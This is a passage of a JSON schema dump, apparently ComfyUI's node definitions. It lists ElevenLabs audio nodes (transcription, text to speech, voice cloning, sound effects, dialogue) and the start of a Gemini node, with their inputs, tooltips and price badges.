["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["audio", "model", "language_code", "num_speakers", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "STRING", "STRING"], "output_is_list": [false, false, false], "output_name": ["text", "language_code", "words_json"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "ElevenLabsSpeechToText", "display_name": "ElevenLabs Speech to Text", "description": "Transcribe audio to text. Supports automatic language detection, speaker diarization, and audio event tagging.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.0073,\"format\":{\"approximate\":true,\"suffix\":\"/minute\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsVoiceSelector": {"input": {"required": {"voice": ["COMBO", {"tooltip": "Choose a voice from the predefined ElevenLabs voices.", "multiselect": false, "options": ["Roger (male, american)", "Sarah (female, american)", "Laura (female, american)", "Charlie (male, australian)", "George (male, british)", "Callum (male, american)", "River (neutral, american)", "Harry (male, american)", "Liam (male, american)", "Alice (female, british)", "Matilda (female, american)", "Will (male, american)", "Jessica (female, american)", "Eric (male, american)", "Bella (female, american)", "Chris (male, american)", "Brian (male, american)", "Daniel (male, british)", "Lily (female, british)", "Adam (male, american)", "Bill (male, american)"]}]}}, "input_order": {"required": ["voice"]}, "is_input_list": false, "output": ["ELEVENLABS_VOICE"], "output_is_list": [false], "output_name": ["voice"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsVoiceSelector", "display_name": "ElevenLabs Voice Selector", "description": "Select a predefined ElevenLabs voice for text-to-speech generation.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsTextToSpeech": {"input": {"required": {"voice": ["ELEVENLABS_VOICE", {"tooltip": "Voice to use for speech synthesis. Connect from Voice Selector or Instant Voice Clone."}], "text": ["STRING", {"tooltip": "The text to convert to speech.", "default": "", "multiline": true}], "stability": ["FLOAT", {"tooltip": "Voice stability. Lower values give broader emotional range, higher values produce more consistent but potentially monotonous speech.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "apply_text_normalization": ["COMBO", {"tooltip": "Text normalization mode. 'auto' lets the system decide, 'on' always applies normalization, 'off' skips it.", "multiselect": false, "options": ["auto", "on", "off"]}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for text-to-speech.", "options": [{"key": "eleven_multilingual_v2", "inputs": {"required": {"speed": ["FLOAT", {"tooltip": "Speech speed. 1.0 is normal, <1.0 slower, >1.0 faster.", "default": 1.0, "min": 0.7, "max": 1.3, "step": 0.01, "display": "slider"}], "similarity_boost": ["FLOAT", {"tooltip": "Similarity boost. Higher values make the voice more similar to the original.", "default": 0.75, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "use_speaker_boost": ["BOOLEAN", {"tooltip": "Boost similarity to the original speaker voice.", "default": false}], "style": ["FLOAT", {"tooltip": "Style exaggeration. Higher values increase stylistic expression but may reduce stability.", "default": 0.0, "min": 0.0, "max": 0.2, "step": 0.01, "display": "slider"}]}}}, {"key": "eleven_v3", "inputs": {"required": {"speed": ["FLOAT", {"tooltip": "Speech speed. 1.0 is normal, <1.0 slower, >1.0 faster.", "default": 1.0, "min": 0.7, "max": 1.3, "step": 0.01, "display": "slider"}], "similarity_boost": ["FLOAT", {"tooltip": "Similarity boost. Higher values make the voice more similar to the original.", "default": 0.75, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}]}}}]}], "language_code": ["STRING", {"tooltip": "ISO-639-1 or ISO-639-3 language code (e.g., 'en', 'es', 'fra'). Leave empty for automatic detection.", "default": "", "multiline": false}], "seed": ["INT", {"tooltip": "Seed for reproducibility (determinism not guaranteed).", "default": 1, "min": 0, "max": 2147483647}], "output_format": ["COMBO", {"tooltip": "Audio output format.", "multiselect": false, "options": ["mp3_44100_192", "opus_48000_192"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["voice", "text", "stability", "apply_text_normalization", "model", "language_code", "seed", "output_format"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsTextToSpeech", "display_name": "ElevenLabs Text to Speech", "description": "Convert text to speech.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.24,\"format\":{\"approximate\":true,\"suffix\":\"/1K chars\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsAudioIsolation": {"input": {"required": {"audio": ["AUDIO", {"tooltip": "Audio to process for background noise removal."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsAudioIsolation", "display_name": "ElevenLabs Voice Isolation", "description": "Remove background noise from audio, isolating vocals or speech.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.24,\"format\":{\"approximate\":true,\"suffix\":\"/minute\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsTextToSoundEffects": {"input": {"required": {"text": ["STRING", {"tooltip": "Text description of the sound effect to generate.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for sound effect generation.", "options": [{"key": "eleven_sfx_v2", "inputs": {"required": {"duration": ["FLOAT", {"tooltip": "Duration of generated sound in seconds.", "default": 5.0, "min": 0.5, "max": 30.0, "step": 0.1, "display": "slider"}], "loop": ["BOOLEAN", {"tooltip": "Create a smoothly looping sound effect.", "default": false}], "prompt_influence": ["FLOAT", {"tooltip": "How closely generation follows the prompt. Higher values make the sound follow the text more closely.", "default": 0.3, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}]}}}]}], "output_format": ["COMBO", {"tooltip": "Audio output format.", "multiselect": false, "options": ["mp3_44100_192", "opus_48000_192"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["text", "model", "output_format"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsTextToSoundEffects", "display_name": "ElevenLabs Text to Sound Effects", "description": "Generate sound effects from text descriptions.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.14,\"format\":{\"approximate\":true,\"suffix\":\"/minute\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsInstantVoiceClone": {"input": {"required": {"files": ["COMFY_AUTOGROW_V3", {"tooltip": "Audio recordings for voice cloning.", "template": {"input": {"required": {"audio": ["AUDIO", {}]}}, "prefix": "audio", "min": 1, "max": 8}}], "remove_background_noise": ["BOOLEAN", {"tooltip": "Remove background noise from voice samples using audio isolation.", "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["files", "remove_background_noise"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["ELEVENLABS_VOICE"], "output_is_list": [false], "output_name": ["voice"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsInstantVoiceClone", "display_name": "ElevenLabs Instant Voice Clone", "description": "Create a cloned voice from audio samples. Provide 1-8 audio recordings of the voice to clone.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.15}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsSpeechToSpeech": {"input": {"required": {"voice": ["ELEVENLABS_VOICE", {"tooltip": "Target voice for the transformation. Connect from Voice Selector or Instant Voice Clone."}], "audio": ["AUDIO", {"tooltip": "Source audio to transform."}], "stability": ["FLOAT", {"tooltip": "Voice stability. Lower values give broader emotional range, higher values produce more consistent but potentially monotonous speech.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for speech-to-speech transformation.", "options": [{"key": "eleven_multilingual_sts_v2", "inputs": {"required": {"speed": ["FLOAT", {"tooltip": "Speech speed. 1.0 is normal, <1.0 slower, >1.0 faster.", "default": 1.0, "min": 0.7, "max": 1.3, "step": 0.01, "display": "slider"}], "similarity_boost": ["FLOAT", {"tooltip": "Similarity boost. Higher values make the voice more similar to the original.", "default": 0.75, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "use_speaker_boost": ["BOOLEAN", {"tooltip": "Boost similarity to the original speaker voice.", "default": false}], "style": ["FLOAT", {"tooltip": "Style exaggeration. Higher values increase stylistic expression but may reduce stability.", "default": 0.0, "min": 0.0, "max": 0.2, "step": 0.01, "display": "slider"}]}}}, {"key": "eleven_english_sts_v2", "inputs": {"required": {"speed": ["FLOAT", {"tooltip": "Speech speed. 1.0 is normal, <1.0 slower, >1.0 faster.", "default": 1.0, "min": 0.7, "max": 1.3, "step": 0.01, "display": "slider"}], "similarity_boost": ["FLOAT", {"tooltip": "Similarity boost. Higher values make the voice more similar to the original.", "default": 0.75, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "use_speaker_boost": ["BOOLEAN", {"tooltip": "Boost similarity to the original speaker voice.", "default": false}], "style": ["FLOAT", {"tooltip": "Style exaggeration. Higher values increase stylistic expression but may reduce stability.", "default": 0.0, "min": 0.0, "max": 0.2, "step": 0.01, "display": "slider"}]}}}]}], "output_format": ["COMBO", {"tooltip": "Audio output format.", "multiselect": false, "options": ["mp3_44100_192", "opus_48000_192"]}], "seed": ["INT", {"tooltip": "Seed for reproducibility.", "default": 0, "min": 0, "max": 4294967295}], "remove_background_noise": ["BOOLEAN", {"tooltip": "Remove background noise from input audio using audio isolation.", "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["voice", "audio", "stability", "model", "output_format", "seed", "remove_background_noise"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsSpeechToSpeech", "display_name": "ElevenLabs Speech to Speech", "description": "Transform speech from one voice to another while preserving the original content and emotion.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.24,\"format\":{\"approximate\":true,\"suffix\":\"/minute\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ElevenLabsTextToDialogue": {"input": {"required": {"stability": ["FLOAT", {"tooltip": "Voice stability. Lower values give broader emotional range, higher values produce more consistent but potentially monotonous speech.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.5, "display": "slider"}], "apply_text_normalization": ["COMBO", {"tooltip": "Text normalization mode. 'auto' lets the system decide, 'on' always applies normalization, 'off' skips it.", "multiselect": false, "options": ["auto", "on", "off"]}], "model": ["COMBO", {"tooltip": "Model to use for dialogue generation.", "multiselect": false, "options": ["eleven_v3"]}], "inputs": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Number of dialogue entries.", "options": [{"key": "1", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "2", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "3", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "4", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "5", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}], "text5": ["STRING", {"tooltip": "Text content for dialogue entry 5.", "default": "", "multiline": true}], "voice5": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 5. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "6", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}], "text5": ["STRING", {"tooltip": "Text content for dialogue entry 5.", "default": "", "multiline": true}], "voice5": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 5. Connect from Voice Selector or Instant Voice Clone."}], "text6": ["STRING", {"tooltip": "Text content for dialogue entry 6.", "default": "", "multiline": true}], "voice6": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 6. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "7", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}], "text5": ["STRING", {"tooltip": "Text content for dialogue entry 5.", "default": "", "multiline": true}], "voice5": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 5. Connect from Voice Selector or Instant Voice Clone."}], "text6": ["STRING", {"tooltip": "Text content for dialogue entry 6.", "default": "", "multiline": true}], "voice6": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 6. Connect from Voice Selector or Instant Voice Clone."}], "text7": ["STRING", {"tooltip": "Text content for dialogue entry 7.", "default": "", "multiline": true}], "voice7": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 7. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "8", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}], "text5": ["STRING", {"tooltip": "Text content for dialogue entry 5.", "default": "", "multiline": true}], "voice5": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 5. Connect from Voice Selector or Instant Voice Clone."}], "text6": ["STRING", {"tooltip": "Text content for dialogue entry 6.", "default": "", "multiline": true}], "voice6": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 6. Connect from Voice Selector or Instant Voice Clone."}], "text7": ["STRING", {"tooltip": "Text content for dialogue entry 7.", "default": "", "multiline": true}], "voice7": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 7. Connect from Voice Selector or Instant Voice Clone."}], "text8": ["STRING", {"tooltip": "Text content for dialogue entry 8.", "default": "", "multiline": true}], "voice8": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 8. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "9", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}], "text5": ["STRING", {"tooltip": "Text content for dialogue entry 5.", "default": "", "multiline": true}], "voice5": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 5. Connect from Voice Selector or Instant Voice Clone."}], "text6": ["STRING", {"tooltip": "Text content for dialogue entry 6.", "default": "", "multiline": true}], "voice6": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 6. Connect from Voice Selector or Instant Voice Clone."}], "text7": ["STRING", {"tooltip": "Text content for dialogue entry 7.", "default": "", "multiline": true}], "voice7": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 7. Connect from Voice Selector or Instant Voice Clone."}], "text8": ["STRING", {"tooltip": "Text content for dialogue entry 8.", "default": "", "multiline": true}], "voice8": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 8. Connect from Voice Selector or Instant Voice Clone."}], "text9": ["STRING", {"tooltip": "Text content for dialogue entry 9.", "default": "", "multiline": true}], "voice9": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 9. Connect from Voice Selector or Instant Voice Clone."}]}}}, {"key": "10", "inputs": {"required": {"text1": ["STRING", {"tooltip": "Text content for dialogue entry 1.", "default": "", "multiline": true}], "voice1": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 1. Connect from Voice Selector or Instant Voice Clone."}], "text2": ["STRING", {"tooltip": "Text content for dialogue entry 2.", "default": "", "multiline": true}], "voice2": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 2. Connect from Voice Selector or Instant Voice Clone."}], "text3": ["STRING", {"tooltip": "Text content for dialogue entry 3.", "default": "", "multiline": true}], "voice3": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 3. Connect from Voice Selector or Instant Voice Clone."}], "text4": ["STRING", {"tooltip": "Text content for dialogue entry 4.", "default": "", "multiline": true}], "voice4": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 4. Connect from Voice Selector or Instant Voice Clone."}], "text5": ["STRING", {"tooltip": "Text content for dialogue entry 5.", "default": "", "multiline": true}], "voice5": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 5. Connect from Voice Selector or Instant Voice Clone."}], "text6": ["STRING", {"tooltip": "Text content for dialogue entry 6.", "default": "", "multiline": true}], "voice6": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 6. Connect from Voice Selector or Instant Voice Clone."}], "text7": ["STRING", {"tooltip": "Text content for dialogue entry 7.", "default": "", "multiline": true}], "voice7": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 7. Connect from Voice Selector or Instant Voice Clone."}], "text8": ["STRING", {"tooltip": "Text content for dialogue entry 8.", "default": "", "multiline": true}], "voice8": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 8. Connect from Voice Selector or Instant Voice Clone."}], "text9": ["STRING", {"tooltip": "Text content for dialogue entry 9.", "default": "", "multiline": true}], "voice9": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 9. Connect from Voice Selector or Instant Voice Clone."}], "text10": ["STRING", {"tooltip": "Text content for dialogue entry 10.", "default": "", "multiline": true}], "voice10": ["ELEVENLABS_VOICE", {"tooltip": "Voice for dialogue entry 10. Connect from Voice Selector or Instant Voice Clone."}]}}}]}], "language_code": ["STRING", {"tooltip": "ISO-639-1 or ISO-639-3 language code (e.g., 'en', 'es', 'fra'). Leave empty for automatic detection.", "default": "", "multiline": false}], "seed": ["INT", {"tooltip": "Seed for reproducibility.", "default": 1, "min": 0, "max": 4294967295}], "output_format": ["COMBO", {"tooltip": "Audio output format.", "multiselect": false, "options": ["mp3_44100_192", "opus_48000_192"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["stability", "apply_text_normalization", "model", "inputs", "language_code", "seed", "output_format"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ElevenLabsTextToDialogue", "display_name": "ElevenLabs Text to Dialogue", "description": "Generate multi-speaker dialogue from text. Each dialogue entry has its own text and voice.", "python_module": "comfy_api_nodes.nodes_elevenlabs", "category": "partner/audio/ElevenLabs", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.24,\"format\":{\"approximate\":true,\"suffix\":\"/1K chars\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GeminiNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text inputs to the model, used to generate a response. You can include detailed instructions, questions, or context for the model.", "default": "", "multiline": true}], "model": ["COMBO", {"tooltip": "The Gemini model to use for generating responses.", "default": "gemini-3-1-pro", "multiselect": false, "options": ["gemini-2.5-pro", "gemini-2.5-flash", "gemini-3-pro-preview", "gemini-3-1-pro", "gemini-3-1-flash-lite"]}], "seed": ["INT", {"tooltip": "When seed is fixed to a specific value, the model makes a best effort to provide the same response for repeated requests. Deterministic output isn't guaranteed. Also, changing the model or parameter settings, such as the temperature, can cause variations in the response even when you use the same seed value. By default, a random seed value is used.", "default": 42, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"images": ["IMAGE", {"tooltip": "Optional image(s) to use as context for the model. To include multiple images, you can use the Batch Images node."}], "audio": ["AUDIO", {"tooltip": "Optional audio to use as context for the model."}], "video": ["VIDEO", {"tooltip": "Optional video to use as context for the model."}], "files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Generate Content Input Files node."}], "system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate an AI's behavior.", "advanced": true, "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "optional": ["images", "audio", "video", "files", "system_prompt"], 